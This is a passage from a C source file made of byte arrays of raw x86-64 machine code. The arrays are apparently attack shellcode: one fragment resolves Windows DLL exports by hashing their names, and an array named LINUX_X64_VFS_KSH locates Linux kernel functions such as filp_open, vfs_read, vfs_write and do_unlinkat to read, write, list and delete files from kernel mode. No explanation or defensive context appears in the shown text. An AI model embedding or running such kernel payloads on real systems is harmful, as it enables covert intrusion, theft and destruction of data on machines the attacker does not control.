0xc7, 0x45, 0xf7, 0x92, 0x6d, 0x58, 0x58, 0xc7, 0x45, 0xfb, 0xce, 0xad, 0x90, 0x4d,\n  0xc7, 0x45, 0xff, 0x57, 0x63, 0x32, 0x5a, 0xc7, 0x45, 0x03, 0x8f, 0xb5, 0x6a, 0x6a, 0xc7, 0x45,\n  0x07, 0xf9, 0xbe, 0xdd, 0x05, 0xc7, 0x45, 0x0b, 0xf7, 0x38, 0xb3, 0x9d, 0xc7, 0x45, 0x0f, 0xc9,\n  0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0x13, 0x89, 0x83, 0x6c, 0xeb, 0xc7, 0x45, 0x17, 0x9b, 0x97, 0x64,\n  0xcf, 0xc7, 0x45, 0x1b, 0x2a, 0xc0, 0xb2, 0xa8, 0xc7, 0x45, 0x1f, 0x3d, 0x28, 0xc3, 0x7c, 0xc7,\n  0x45, 0x23, 0x2a, 0xd0, 0x35, 0x30, 0xc7, 0x45, 0x27, 0xdb, 0x4f, 0x3d, 0xc5, 0xc7, 0x45, 0x2b,\n  0x61, 0x4c, 0x04, 0x5d, 0xc7, 0x45, 0x2f, 0x9d, 0x8f, 0xa0, 0xc3, 0xc7, 0x45, 0x33, 0xb8, 0xd4,\n  0x29, 0x88, 0xc7, 0x45, 0x37, 0x50, 0x64, 0xb0, 0x6f, 0xc7, 0x45, 0x3b, 0xe2, 0xca, 0x61, 0xe6,\n  0xc7, 0x45, 0x3f, 0xde, 0x24, 0xe6, 0xf7, 0xc7, 0x45, 0x43, 0x16, 0x35, 0xfd, 0x87, 0xc7, 0x45,\n  0x47, 0x36, 0x31, 0x0e, 0x68, 0x48, 0x8d, 0x76, 0xfc, 0x49, 0x8b, 0xce, 0x8b, 0x16, 0x48, 0x8d,\n  0x7f, 0xf8, 0xe8, 0x25, 0x00, 0x00, 0x00, 0x48, 0x89, 0x07, 0x83, 0xc3, 0xff, 0x75, 0xe6, 0x4c,\n  0x8d, 0x9c, 0x24, 0x90, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x5b, 0x10, 0x49, 0x8b, 0x73, 0x18, 0x49,\n  0x8b, 0x7b, 0x20, 0x4d, 0x8b, 0x73, 0x28, 0x49, 0x8b, 0xe3, 0x5d, 0xc3, 0x48, 0x8b, 0xc4, 0x48,\n  0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x8b,\n  0xea, 0x48, 0x85, 0xc9, 0x74, 0x7a, 0xb8, 0x4d, 0x5a, 0x00, 0x00, 0x66, 0x39, 0x01, 0x75, 0x70,\n  0x48, 0x63, 0x41, 0x3c, 0x48, 0x03, 0xc1, 0x74, 0x67, 0x81, 0x38, 0x50, 0x45, 0x00, 0x00, 0x75,\n  0x5f, 0x8b, 0x90, 0x88, 0x00, 0x00, 0x00, 0x48, 0x03, 0xd1, 0x74, 0x54, 0x44, 0x8b, 0x5a, 0x18,\n  0x45, 0x85, 0xdb, 0x74, 0x4b, 0x8b, 0x42, 0x20, 0x85, 0xc0, 0x74, 0x44, 0x8b, 0x72, 0x24, 0x4c,\n  0x8d, 0x0c, 0x01, 0x8b, 0x7a, 0x1c, 0x48, 0x03, 0xf1, 0x48, 0x03, 0xf9, 0x45, 0x33, 0xc0, 0x45,\n  0x85, 0xdb, 0x74, 0x2c, 0x45, 0x8b, 0x11, 0x4c, 0x03, 0xd1, 0x33, 0xdb, 0xeb, 0x0b, 0x49, 0xff,\n  0xc2, 0xc1, 0xcb, 0x0d, 0x0f, 0xb6, 0xc0, 0x03, 0xd8, 0x41, 0x8a, 0x02, 0x84, 0xc0, 0x75, 0xee,\n  0x3b, 0xdd, 0x74, 0x23, 0x41, 0xff, 0xc0, 0x49, 0x83, 0xc1, 0x04, 0x45, 0x3b, 0xc3, 0x72, 0xd4,\n  0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08, 0x48, 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24,\n  0x18, 0x48, 0x8b, 0x7c, 0x24, 0x20, 0xc3, 0x46, 0x0f, 0xb7, 0x04, 0x46, 0x44, 0x3b, 0x42, 0x14,\n  0x73, 0xde, 0x42, 0x8b, 0x04, 0x87, 0x48, 0x03, 0xc1, 0xeb, 0xd7, 0x00\n};\n\nconst BYTE LINUX_X64_VFS_KSH[] = {\n  0x37, 0x13, 0xec, 0x3c, 0x2c, 0x82, 0xd4, 0x20, 0x62, 0x14, 0x82, 0x91, 0xea, 0x46, 0x29, 0xd9,\n  0x95, 0xab, 0xd6, 0xff, 0xf1, 0xaa, 0xb5, 0xa1, 0x29, 0x02, 0x1d, 0x32, 0xec, 0xdc, 0xe8, 0x96,\n  0xa2, 0xc6, 0xbf, 0x93, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9e, 0x0c, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x39, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x00, 0x00, 0x00, 0x51, 0x48, 0xb8, 0xd5, 0xfe, 0x37, 0x13, 0x01, 0xf0, 0x0f, 0xf0, 0x50,\n  0x56, 0x48, 0x8b, 0xf4, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xe8, 0x43, 0x0b, 0x00,\n  0x00, 0x48, 0x8b, 0xe6, 0x5e, 0x58, 0x58, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54,\n  0x4c, 0x8b, 0xf9, 0x4c, 0x8b, 0xf2, 0x4d, 0x8b, 0xe9, 0x49, 0xc1, 0xe5, 0x03, 0x4d, 0x8b, 0xe0,\n  0x49, 0x83, 0xed, 0x08, 0x49, 0x8b, 0xcf, 0x4b, 0x8b, 0x14, 0x2e, 0xe8, 0x22, 0x00, 0x00, 0x00,\n  0x48, 0x85, 0xc0, 0x74, 0x11, 0x4b, 0x89, 0x04, 0x2c, 0x4d, 0x85, 0xed, 0x75, 0xe2, 0x48, 0x33,\n  0xc0, 0x48, 0xff, 0xc0, 0xeb, 0x03, 0x48, 0x33, 0xc0, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41,\n  0x5f, 0xc3, 0x48, 0x8b, 0xc1, 0x57, 0x56, 0x48, 0x8b, 0xfa, 0x49, 0x8b, 0xf0, 0x49, 0x8b, 0xd1,\n  0x48, 0x8b, 0x4c, 0x24, 0x38, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x4c, 0x8b, 0x4c, 0x24, 0x48, 0x41,\n  0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0xff, 0xd0, 0x49, 0x8b,\n  0xe7, 0x41, 0x5f, 0x5e, 0x5f, 0xc3, 0x51, 0x52, 0x48, 0x33, 0xc0, 0x48, 0xba, 0xd5, 0xfe, 0x37,\n  0x13, 0x01, 0xf0, 0x0f, 0xf0, 0x48, 0x8b, 0x0c, 0xc4, 0x48, 0xff, 0xc0, 0x48, 0x3b, 0xca, 0x75,\n  0xf4, 0x48, 0x8b, 0x04, 0xc4, 0x5a, 0x59, 0xc3, 0xe8, 0xd9, 0xff, 0xff, 0xff, 0x48, 0x05, 0x88,\n  0x03, 0x00, 0x00, 0x48, 0x89, 0x08, 0xc3, 0x41, 0x57, 0x4c, 0x8b, 0xfc, 0x48, 0x83, 0xe4, 0xf0,\n  0x41, 0x51, 0x41, 0x50, 0x48, 0x83, 0xec, 0x20, 0x4c, 0x8b, 0xc9, 0x4c, 0x8b, 0xc2, 0x48, 0x8b,\n  0xd6, 0x48, 0x8b, 0xcf, 0xe8, 0xad, 0xff, 0xff, 0xff, 0x48, 0x05, 0x88, 0x03, 0x00, 0x00, 0x48,\n  0x8b, 0x00, 0xff, 0xd0, 0x49, 0x8b, 0xe7, 0x41, 0x5f, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00,\n  0x00, 0x88, 0xff, 0xff, 0x48, 0x03, 0xc1, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea,\n  0xff, 0xff, 0x48, 0x2b, 0xc8, 0x48, 0xc1, 0xe9, 0x07, 0x48, 0xc1, 0xe1, 0x0c, 0x48, 0x8b, 0xc1,\n  0xc3, 0x0f, 0x09, 0xc3, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x55, 0x56, 0x57, 0x48, 0x8d, 0xac, 0x24,\n  0x30, 0xff, 0xff, 0xff, 0x48, 0x81, 0xec, 0xd0, 0x01, 0x00, 0x00, 0x33, 0xf6, 0xc7, 0x85, 0x00,\n  0x01, 0x00, 0x00, 0x6d, 0x65, 0x6d, 0x63, 0x48, 0x8d, 0x85, 0x00, 0x01, 0x00, 0x00, 0x66, 0xc7,\n  0x85, 0x04, 0x01, 0x00, 0x00, 0x70, 0x79, 0x48, 0x89, 0x45, 0x30, 0x48, 0x8b, 0xda, 0x48, 0x8d,\n  0x85, 0x08, 0x01, 0x00, 0x00, 0x40, 0x88, 0xb5, 0x06, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x38,\n  0x44, 0x8d, 0x4e, 0x07, 0x48, 0x8d, 0x45, 0xa8, 0xc7, 0x85, 0x08, 0x01, 0x00, 0x00, 0x6d, 0x65,\n  0x6d, 0x73, 0x48, 0x89, 0x45, 0x40, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8d, 0x44,\n  0x24, 0x68, 0x48, 0x89, 0x45, 0x48, 0x4c, 0x8b, 0xc2, 0x48, 0x8d, 0x44, 0x24, 0x28, 0x66, 0xc7,\n  0x85, 0x0c, 0x01, 0x00, 0x00, 0x65, 0x74, 0x48, 0x89, 0x45, 0x50, 0x48, 0x8d, 0x55, 0x30, 0x48,\n  0x8d, 0x44, 0x24, 0x78, 0x40, 0x88, 0xb5, 0x0e, 0x01, 0x00, 0x00, 0x48, 0x89, 0x45, 0x58, 0x48,\n  0x8d, 0x85, 0xf0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x60, 0xc7, 0x45, 0xa8, 0x66, 0x69, 0x6c,\n  0x70, 0xc7, 0x45, 0xac, 0x5f, 0x63, 0x6c, 0x6f, 0x66, 0xc7, 0x45, 0xb0, 0x73, 0x65, 0x40, 0x88,\n  0x75, 0xb2, 0xc7, 0x44, 0x24, 0x68, 0x66, 0x69, 0x6c, 0x70, 0xc7, 0x44, 0x24, 0x6c, 0x5f, 0x6f,\n  0x70, 0x65, 0x66, 0xc7, 0x44, 0x24, 0x70, 0x6e, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x76, 0x66, 0x73,\n  0x5f, 0xc7, 0x44, 0x24, 0x2c, 0x72, 0x65, 0x61, 0x64, 0x40, 0x88, 0x74, 0x24, 0x30, 0xc7, 0x44,\n  0x24, 0x78, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x44, 0x24, 0x7c, 0x77, 0x72, 0x69, 0x74, 0x66, 0xc7,\n  0x45, 0x80, 0x65, 0x00, 0xc7, 0x85, 0xf0, 0x00, 0x00, 0x00, 0x79, 0x69, 0x65, 0x6c, 0x66, 0xc7,\n  0x85, 0xf4, 0x00, 0x00, 0x00, 0x64, 0x00, 0xe8, 0xdc, 0xfd, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84,\n  0x48, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0xb8, 0xc7, 0x45, 0xb8, 0x69,\n  0x74, 0x65, 0x72, 0xc7, 0x45, 0xbc, 0x61, 0x74, 0x65, 0x5f, 0xc7, 0x45, 0xc0, 0x64, 0x69, 0x72,\n  0x00, 0xe8, 0xfc, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x38, 0x48, 0x8d, 0x55, 0xc8, 0x48, 0x8b,\n  0x4f, 0x10, 0xc7, 0x45, 0xc8, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0xcc, 0x72, 0x65, 0x61, 0x64,\n  0xc7, 0x45, 0xd0, 0x64, 0x69, 0x72, 0x00, 0xe8, 0xd6, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x40,\n  0x48, 0x39, 0x73, 0x38, 0x75, 0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xed, 0x01, 0x00, 0x00, 0x48,\n  0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x54, 0x24, 0x38, 0xc7, 0x44, 0x24, 0x38, 0x76, 0x66, 0x73, 0x5f,\n  0xc7, 0x44, 0x24, 0x3c, 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x40, 0xe8, 0xa0, 0xfd,\n  0xff, 0xff, 0x48, 0x89, 0x43, 0x48, 0x48, 0x8d, 0x55, 0x88, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x45,\n  0x88, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0x8c, 0x73, 0x74, 0x61, 0x74, 0x66, 0xc7, 0x45, 0x90,\n  0x78, 0x00, 0xe8, 0x7b, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x50, 0x48, 0x39, 0x73, 0x48, 0x75,\n  0x09, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x92, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x10, 0x48, 0x8d,\n  0x55, 0x98, 0xc7, 0x45, 0x98, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0x9c, 0x5f, 0x70, 0x61, 0x74,\n  0x66, 0xc7, 0x45, 0xa0, 0x68, 0x00, 0xe8, 0x47, 0xfd, 0xff, 0xff, 0x48, 0x89, 0x43, 0x78, 0x48,\n  0x8d, 0x54, 0x24, 0x48, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x48, 0x70, 0x61, 0x74, 0x68,\n  0xc7, 0x44, 0x24, 0x4c, 0x5f, 0x70, 0x75, 0x74, 0x40, 0x88, 0x74, 0x24, 0x50, 0xe8, 0x20, 0xfd,\n  0xff, 0xff, 0x48, 0x89, 0x83, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0x18, 0x48, 0x8b, 0x4f,\n  0x10, 0xc7, 0x45, 0x18, 0x76, 0x66, 0x73, 0x5f, 0xc7, 0x45, 0x1c, 0x67, 0x65, 0x74, 0x61, 0xc7,\n  0x45, 0x20, 0x74, 0x74, 0x72, 0x5f, 0xc7, 0x45, 0x24, 0x6e, 0x6f, 0x73, 0x65, 0x66, 0xc7, 0x45,\n  0x28, 0x63, 0x00, 0xe8, 0xea, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x83, 0x88, 0x00, 0x00, 0x00, 0x48,\n  0x8d, 0x54, 0x24, 0x58, 0x48, 0x8b, 0x4f, 0x10, 0xc7, 0x44, 0x24, 0x58, 0x76, 0x66, 0x73, 0x5f,\n  0xc7, 0x44, 0x24, 0x5c, 0x73, 0x74, 0x61, 0x74, 0x40, 0x88, 0x74, 0x24, 0x60, 0xe8, 0xc0, 0xfc,\n  0xff, 0xff, 0x48, 0x89, 0x43, 0x58, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0x4f, 0x10, 0xc7,\n  0x44, 0x24, 0x20, 0x67, 0x65, 0x74, 0x6e, 0xc7, 0x44, 0x24, 0x24, 0x61, 0x6d, 0x65, 0x00, 0xe8,\n  0x9e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x60, 0x48, 0x8d, 0x55, 0x08, 0x48, 0x8b, 0x4f, 0x10,\n  0xc7, 0x45, 0x08, 0x67, 0x65, 0x74, 0x6e, 0xc7, 0x45, 0x0c, 0x61, 0x6d, 0x65, 0x5f, 0xc7, 0x45,\n  0x10, 0x6b, 0x65, 0x72, 0x6e, 0x66, 0xc7, 0x45, 0x14, 0x65, 0x6c, 0x40, 0x88, 0x75, 0x16, 0xe8,\n  0x6e, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x68, 0x48, 0x8d, 0x55, 0xd8, 0x48, 0x8b, 0x4f, 0x10,\n  0xc7, 0x45, 0xd8, 0x64, 0x6f, 0x5f, 0x75, 0xc7, 0x45, 0xdc, 0x6e, 0x6c, 0x69, 0x6e, 0xc7, 0x45,\n  0xe0, 0x6b, 0x61, 0x74, 0x00, 0xe8, 0x48, 0xfc, 0xff, 0xff, 0x48, 0x89, 0x43, 0x70, 0x48, 0x39,\n  0x73, 0x58, 0x75, 0x0b, 0x48, 0x39, 0x73, 0x60, 0x74, 0x62, 0x48, 0x85, 0xc0, 0x74, 0x5d, 0x48,\n  0x8b, 0x4f, 0x10, 0x48, 0x8d, 0x55, 0xe8, 0xc7, 0x45, 0xe8, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45,\n  0xec, 0x65, 0x6c, 0x5f, 0x72, 0xc7, 0x45, 0xf0, 0x65, 0x61, 0x64, 0x00, 0xe8, 0x11, 0xfc, 0xff,\n  0xff, 0x48, 0x89, 0x83, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x55, 0xf8, 0x48, 0x8b, 0x4f, 0x10,\n  0xc7, 0x45, 0xf8, 0x6b, 0x65, 0x72, 0x6e, 0xc7, 0x45, 0xfc, 0x65, 0x6c, 0x5f, 0x77, 0xc7, 0x45,\n  0x00, 0x72, 0x69, 0x74, 0x65, 0x40, 0x88, 0x75, 0x04, 0xe8, 0xe4, 0xfb, 0xff, 0xff, 0x48, 0x89,\n  0x83, 0x98, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b,\n  0x9c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xd0, 0x01, 0x00, 0x00, 0x5f, 0x5e, 0x5d,\n  0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xda, 0x41, 0xb9, 0xff,\n  0x01, 0x00, 0x00, 0x49, 0x8d, 0x50, 0x18, 0x48, 0x8b, 0x4b, 0x18, 0x45, 0x8d, 0x41, 0x42, 0xe8,\n  0x9e, 0xfb, 0xff, 0xff, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x48, 0x3b,\n  0xc1, 0x76, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x11, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33,\n  0xc0, 0x48, 0x8b, 0xd0, 0xe8, 0x79, 0xfb, 0xff, 0xff, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b,\n  0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0x4a, 0x58, 0x48, 0x8b,\n  0xda, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x49, 0x8d, 0x50, 0x18, 0xe8,\n  0x4e, 0xfb, 0xff, 0xff, 0xeb, 0x3a, 0x48, 0x8b, 0x4a, 0x68, 0x48, 0x85, 0xc9, 0x74, 0x07, 0x48,\n  0x83, 0x7a, 0x70, 0x00, 0x75, 0x10, 0x48, 0x8b, 0x4a, 0x60, 0x48, 0x85, 0xc9, 0x74, 0x21, 0x48,\n  0x83, 0x7a, 0x70, 0x00, 0x74, 0x1a, 0x49, 0x8d, 0x50, 0x18, 0xe8, 0x23, 0xfb, 0xff, 0xff, 0x48,\n  0x8b, 0x4b, 0x70, 0x4c, 0x8b, 0xc0, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0x12, 0xfb, 0xff, 0xff,\n  0x48, 0xf7, 0xd8, 0x1b, 0xc0, 0x25, 0x05, 0x00, 0x00, 0xf0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3,\n  0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57,\n  0x48, 0x83, 0xec, 0x50, 0x48, 0x8b, 0xda, 0x49, 0x8b, 0xe8, 0x48, 0x8b, 0xf9, 0x49, 0x8d, 0x50,\n  0x18, 0x45, 0x33, 0xc9, 0x41, 0xb8, 0x00, 0x00, 0x05, 0x00, 0x48, 0x8b, 0x4b, 0x18, 0xe8, 0xcf,\n  0xfa, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff,\n  0x48, 0x3b, 0xf0, 0x76, 0x0a, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x8a, 0x00, 0x00, 0x00, 0x48,\n  0x8d, 0x0d, 0x9a, 0x00, 0x00, 0x00, 0xe8, 0xfd, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x4b, 0x38, 0x4c,\n  0x8d, 0x05, 0x01, 0xfb, 0xff, 0xff, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x89, 0x44, 0x24,\n  0x20, 0x48, 0x89, 0x5c, 0x24, 0x38, 0x48, 0x89, 0x7c, 0x24, 0x30, 0x48, 0x89, 0x6c, 0x24, 0x40,\n  0x48, 0x85, 0xc9, 0x74, 0x0f, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x70, 0xfa,\n  0xff, 0xff, 0xeb, 0x16, 0x48, 0x8b, 0x4b, 0x40, 0x48, 0x85, 0xc9, 0x74, 0x14, 0x4c, 0x8d, 0x4c,\n  0x24, 0x20, 0x48, 0x8b, 0xd6, 0xe8, 0x58, 0xfa, 0xff, 0xff, 0x48, 0x89, 0x87, 0x28, 0x02, 0x00,\n  0x00, 0x48, 0x8b, 0x4b, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd6, 0xe8, 0x42, 0xfa, 0xff, 0xff,\n  0x48, 0x8b, 0x4b, 0x30, 0xe8, 0x39, 0xfa, 0xff, 0xff, 0x4c, 0x8b, 0xc5, 0x48, 0x8b, 0xd3, 0x48,\n  0x8b, 0xcf, 0xe8, 0xed, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b,\n  0x6c, 0x24, 0x68, 0x48, 0x8b, 0x74, 0x24, 0x70, 0x48, 0x83, 0xc4, 0x50, 0x5f, 0xc3, 0xcc, 0xcc,\n  0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7c, 0x24, 0x18, 0x4c,\n  0x8b, 0x51, 0x10, 0x33, 0xf6, 0x44, 0x8b, 0xde, 0x48, 0x8b, 0xfa, 0x48, 0x8b, 0xd9, 0x49, 0x39,\n  0xb2, 0x78, 0x03, 0x00, 0x00, 0x49, 0x8b, 0x82, 0x00, 0x02, 0x00, 0x00, 0x41, 0x0f, 0x95, 0xc3,\n  0x4c, 0x8d, 0x88, 0x40, 0x02, 0x00, 0x00, 0x4d, 0x3b, 0x8a, 0x10, 0x02, 0x00, 0x00, 0x77, 0x7e,\n  0x49, 0x8b, 0x8a, 0x08, 0x02, 0x00, 0x00, 0x49, 0x03, 0x4a, 0x28, 0x8b, 0x54, 0x24, 0x30, 0x48,\n  0x03, 0xc8, 0x8d, 0x46, 0x04, 0x3b, 0xd0, 0x74, 0x1e, 0x44, 0x8d, 0x4e, 0x08, 0x41, 0x3b, 0xd1,\n  0x74, 0x0c, 0x83, 0xfa, 0x0a, 0x41, 0x0f, 0x45, 0xc1, 0x48, 0x89, 0x01, 0xeb, 0x10, 0x48, 0xc7,\n  0x01, 0x01, 0x00, 0x00, 0x00, 0xeb, 0x07, 0x48, 0xc7, 0x01, 0x02, 0x00, 0x00, 0x00, 0x4d, 0x63,\n  0xc8, 0x48, 0x8b, 0xd6, 0x45, 0x85, 0xc0, 0x74, 0x21, 0x4c, 0x8d, 0x41, 0x38, 0x48, 0x81, 0xfa,\n  0x03, 0x01, 0x00, 0x00, 0x73, 0x14, 0x0f, 0xb6, 0x04, 0x3a, 0x48, 0xff, 0xc2, 0x66, 0x41, 0x89,\n  0x00, 0x49, 0x83, 0xc0, 0x02, 0x49, 0x3b, 0xd1, 0x72, 0xe3, 0x66, 0x89, 0x74, 0x51, 0x38, 0x48,\n  0x8b, 0x43, 0x10, 0x48, 0x81, 0x80, 0x00, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b,\n  0x5c, 0x24, 0x08, 0x41, 0x8b, 0xc3, 0x48, 0x8b, 0x74, 0x24, 0x10, 0x48, 0x8b, 0x7c, 0x24, 0x18,\n  0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,\n  0x89, 0x78, 0x20, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8d, 0xa8, 0x68,\n  0xf5, 0xff, 0xff, 0x48, 0x81, 0xec, 0x70, 0x0b, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x48, 0xb8, 0x8f,\n  0xe3, 0x38, 0x8e, 0xe3, 0x38, 0x8e, 0xe3, 0x48, 0x8b, 0xf2, 0x4c, 0x8b, 0xe9, 0x48, 0xf7, 0xa1,\n  0x00, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x45, 0x60, 0x41, 0x8b, 0xd9, 0x4c, 0x8b, 0xf2, 0x49, 0xc1,\n  0xee, 0x09, 0x4c, 0x2b, 0xc0, 0x49, 0x8d, 0x04, 0x18, 0x8a, 0x4c, 0x05, 0x78, 0x84, 0xc9, 0x74,\n  0x10, 0x88, 0x4c, 0x1d, 0x60, 0x48, 0xff, 0xc3, 0x48, 0x81, 0xfb, 0x04, 0x01, 0x00, 0x00, 0x72,\n  0xe4, 0x48, 0x85, 0xdb, 0x74, 0x0f, 0x80, 0x7c, 0x1d, 0x5f, 0x2f, 0x74, 0x08, 0xc6, 0x44, 0x1d,\n  0x60, 0x2f, 0x48, 0xff, 0xc3, 0x4d, 0x89, 0xb5, 0x30, 0x02, 0x00, 0x00, 0x4d, 0x8b, 0xf9, 0x4d,\n  0x85, 0xf6, 0x0f, 0x84, 0x01, 0x02, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0x60, 0x4c, 0x89, 0x8d, 0xa0,\n  0x0a, 0x00, 0x00, 0x4c, 0x03, 0xc3, 0x4d, 0x8b, 0xe1, 0x49, 0x8b, 0xbd, 0x08, 0x02, 0x00, 0x00,\n  0x49, 0x8b, 0xc9, 0x49, 0x03, 0x7d, 0x28, 0x49, 0x03, 0xfc, 0x48, 0x8d, 0x57, 0x38, 0x66, 0x44,\n  0x3b, 0x0a, 0x74, 0x16, 0x8a, 0x02, 0x48, 0x83, 0xc2, 0x02, 0x41, 0x88, 0x04, 0x08, 0x48, 0xff,\n  0xc1, 0x48, 0x81, 0xf9, 0x04, 0x01, 0x00, 0x00, 0x72, 0xe4, 0x48, 0x8d, 0x04, 0x19, 0x44, 0x88,\n  0x4c, 0x05, 0x60, 0x48, 0x8b, 0x46, 0x50, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xea, 0x00, 0x00, 0x00,\n  0x48, 0x8b, 0x4e, 0x78, 0x48, 0x85, 0xc9, 0x74, 0x6a, 0x4c, 0x39, 0x8e, 0x88, 0x00, 0x00, 0x00,\n  0x74, 0x61, 0x4c, 0x8d, 0x8d, 0x70, 0x02, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0x48,\n  0x8d, 0x55, 0x60, 0xe8, 0x2a, 0xf8, 0xff, 0xff, 0x45, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, 0x85,\n  0x1e, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x8e, 0x88, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x45, 0xb0, 0x4c,\n  0x89, 0x4c, 0x24, 0x20, 0x48, 0x8d, 0x95, 0x70, 0x02, 0x00, 0x00, 0x41, 0xb9, 0xff, 0x07, 0x00,\n  0x00, 0xe8, 0xfc, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x8e, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0,\n  0x48, 0x85, 0xc9, 0x74, 0x39, 0x48, 0x8d, 0x95, 0x70, 0x02, 0x00, 0x00, 0xe8, 0xe1, 0xf7, 0xff,\n  0xff, 0xeb, 0x2b, 0x48, 0x8d, 0x4d, 0xb0, 0xc7, 0x44, 0x24, 0x28, 0xff, 0x07, 0x00, 0x00, 0x48,\n  0x89, 0x4c, 0x24, 0x20, 0x4c, 0x8d, 0x45, 0x60, 0x48, 0x8b, 0xc8, 0x41, 0xb9, 0x00, 0x08, 0x00,\n  0x00, 0xba, 0x9c, 0xff, 0xff, 0xff, 0xe8, 0xb7, 0xf7, 0xff, 0xff, 0x4c, 0x8b, 0xe0, 0x4d, 0x85,\n  0xe4, 